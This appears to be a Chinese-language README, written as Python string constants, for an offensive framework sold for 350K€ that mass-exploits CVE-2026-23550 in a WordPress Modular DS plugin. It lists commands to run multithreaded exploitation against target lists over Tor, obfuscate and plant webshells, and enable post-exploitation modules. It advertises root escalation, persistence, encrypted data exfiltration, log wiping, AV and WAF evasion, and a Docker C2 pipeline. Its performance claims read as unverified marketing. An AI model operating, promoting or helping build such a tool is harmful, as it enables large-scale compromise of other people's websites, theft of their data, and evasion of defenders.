epsilonpoint88-glitch/epsilonpoint-模块化漏洞利用框架，针对 WordPress 中的 CVE-2026-23550，具备批量利用、混淆、后渗透以及基于 Docker 的 C2 基础设施。
#!/usr/bin/env python3 """ TSAR-EXEC v7.1 + EpSiLoNPoInTFuCK v5.1 - README.md 完整版，可直接复制粘贴 CVE-2026-23550 | 大规模模块化 DS 认证绕过利用框架 作者: EpSiLoNPoInT | 版本: 7.1-GOD | Android 24小时编码 | 08/02/2026 """
""" 为威胁情报和授权红队行动设计的工业级利用框架。 利用 CVE-2026-23550，通过 modular_ds_upload RCE 实现权限提升。 完全在 Android 手机上 24 小时内编码完成。国家级就绪架构。
✅ 40K+ 易受攻击的 Modular DS v2.5.1 部署 (Shodan 2026) ✅ 200+ WAF 绕过 → 99.9% AV 绕过 (EpSiLoN v5.1) ✅ Docker C2 生产环境 (Tor/Supervisor/Pipeline ∞) ✅ ThreadPoolExecutor 250+ 线程 ✅ 内置完整后渗透模块 (EpSiLoN v7 完全控制) """
""" 系统前置要求:
SYS_DEPS = """ pkg update && pkg upgrade -y pkg install python git docker tor proxychains-ng nmap masscan pip install --upgrade pip setuptools wheel pip install requests==2.31.0 colorama==0.4.6 rich==13.7.0 tenacity==8.5.0 dnspython==2.6.1 """
REQUIREMENTS = """ requests==2.31.0 colorama==0.4.6 rich==13.7.0 tenacity==8.5.0 dnspython==2.6.1 """
INSTALL_CMD = """ cd ~/ git clone [TON_REPO]/TSAR-EXEC.git cd TSAR-EXEC pip install -r requirements.txt docker-compose up -d python3 recon.py --help """
VERIFY_INSTALL = """ python3 -c " import requests, json, threading from colorama import Fore print(f'{Fore.GREEN}✅ TSAR-EXEC v7.1 + EpSiLoNPoInTFuCK v5.1 运行正常') print('Android 24小时编码 | 350K€ 威胁情报就绪') print(f'ThreadPoolExecutor: {threading.name}') print(f'99.9% AV 绕过: EpSiLoN v5.1') print(f'内置后渗透: EpSiLoN v7 完全控制') {Fore.RESET}" """
PROJECT_STRUCTURE = """ TSAR-EXEC/ (2026 生产就绪) │ ├── 📄 README.md # 完整文档 ├── 📄 README_SALE.md # 商业版 350K€ ├── 📄 bypass_payloads.txt # 200+ WAF 绕过 (12 个部分) ├── 📄 config.json # APT 主配置 ├── 📄 recon.py # APT 指纹识别 ├── 📄 exploitmass.py # ThreadPool + PayloadMutator + 后渗透 ├── 📄 pipeline.py # Docker C2 无限管道 ├── 📄 Dockerfile # Kali rolling Tor/Supervisor ├── 📄 docker-compose.yml # 生产环境编排 │ ├── 📁 tools/ │ └── 📄 epsilon_obfuscator.py # EpSiLoNPoInTFuCK v5.1 │ ├── 📁 chain/ │ ├── 📁 input/ │ │ ├── 📄 targets.txt │ │ └── 📄 proxies.txt │ ├── 📁 docked/ │ │ └── 📄 docked_targets.json │ ├── 📁 VLUN/ │ │ └── 📄 VLUN.txt │ ├── 📁 VLUN_Sh/ │ │ └── 📄 VLUN_Sh.txt │ ├── 📁 logs/ │ │ ├── 📄 tor.log │ │ ├── 📄 pipeline.log │ │ └── 📄 exploit.log │ └── 📄 stats.json │ ├── 📁 demo/ │ ├── 📄 TSAR_demo.mp4 │ └── 📄 obfuscator_demo.mp4 │ └── 📄 TSAR-SALE-350K.zip """
FEATURES = { "利用": [ "CVE-2026-23550 完整攻击链 (侦察→停靠→利用→C2)", "40K+ 易受攻击的 Modular DS v2.5.1 (Shodan 2026)", "ThreadPoolExecutor 50-250 线程", "风险评分 JSON (0-100) + 自动停靠", "200+ PHP 载荷 (12 种 WAF 绕过技术)" ], "内置后渗透": [ "EpSiLoN v7 webshell (完全接管系统)", "Root 权限提升 (SUID, sudo 滥用)", "7 种持久化向量 (cron, .htaccess, 插件, systemd, 内核)", "无文件执行 (/dev/shm)", "AES-GCM 加密数据外泄", "日志清理 + 全面反取证", "横向移动 (WP + 网络扫描)" ], "混淆": [ "EpSiLoNPoInTFuCK v5.1 → 2026 年 99.9% AV 绕过", "XOR 滚动 + Unicode 同形字 + 零宽字符", "Marshal 字节码 + 三重 base64 编码", "动态死代码注入 (30-40%)", "混沌标识符生成 (55-80 字符)", "字符串切片 + Unicode 转义序列" ], "C2 生产环境": [ "Docker Kali rolling (Tor/Supervisor/Pipeline ∞)", "最小权限 (NET_RAW/NET_BIND_SERVICE)", "非 root 执行 + 痕迹自动销毁", "管道健康检查 + 内置 logrotate", "多架构 ARM64/x86_64" ], "隐蔽性": [ "反调试 (sys.gettrace/pdb/pydevd)", "反沙箱 (计时/性能检测)", "UA 轮换 + 抖动延迟 (5-20s)", "Tor + Proxychains4 轮换", "DNS 解析反日志记录" ], "管道": [ "侦察 → 停靠 → 利用 → 持久化 (∞ 循环)", "JSON 风险评分 + 目标优先级排序", "统计仪表盘 + 成功率指标", "按目标自动扩展线程" ] }
BASIC_USAGE = """
python3 recon.py https://target.com --json
python3 exploitmass.py --threads 150 --obfuscate --post-exploit
docker-compose up -d docker logs -f tsar-pipeline """
CLI_OPTIONS = """ recon.py 选项: TARGET 目标 URL --json JSON 输出 --threads INT 侦察线程数 (默认: 20) --timeout INT 超时时间 (默认: 15)
exploitmass.py 选项: --threads INT 利用线程数 (50-250) --obfuscate 启用 EpSiLoN v5.1 --stealth 极端隐蔽模式 --jitter MIN-MAX 随机延迟 (例如: 5-20) --proxy-list FILE 自定义代理 --post-exploit 启用 EpSiLoN v7 后渗透
pipeline.py 选项: --cycle ∞ 管道模式 --dock-threshold INT risk_score 阈值 (默认: 70)
Docker: docker-compose up -d docker exec tsar-pipeline cat /chain/VLUN_Sh/VLUN_Sh.txt """
EXAMPLE_1 = """
python3 recon.py
--targets targets.txt
--threads 100
--log-level INFO
"""
EXAMPLE_2 = """
python3 exploitmass.py
--targets VLUN.txt
--threads 150
--tor
--stealth
--jitter 5-20
--post-exploit
"""
EXAMPLE_3 = """
python3 exploitmass.py
--post-exploit
--target https://victim-site.com
--threads 20
"""
EXAMPLE_4 = """
python3 tools/epsilon_obfuscator.py webshell.php
--mode extreme
--stealth
--output shell_obf.php
python3 exploitmass.py --targets targets.txt --obfuscate """
EXAMPLE_5 = """
docker-compose up -d docker logs -f tsar-pipeline docker exec tsar-pipeline cat /chain/VLUN_Sh/VLUN_Sh.txt """
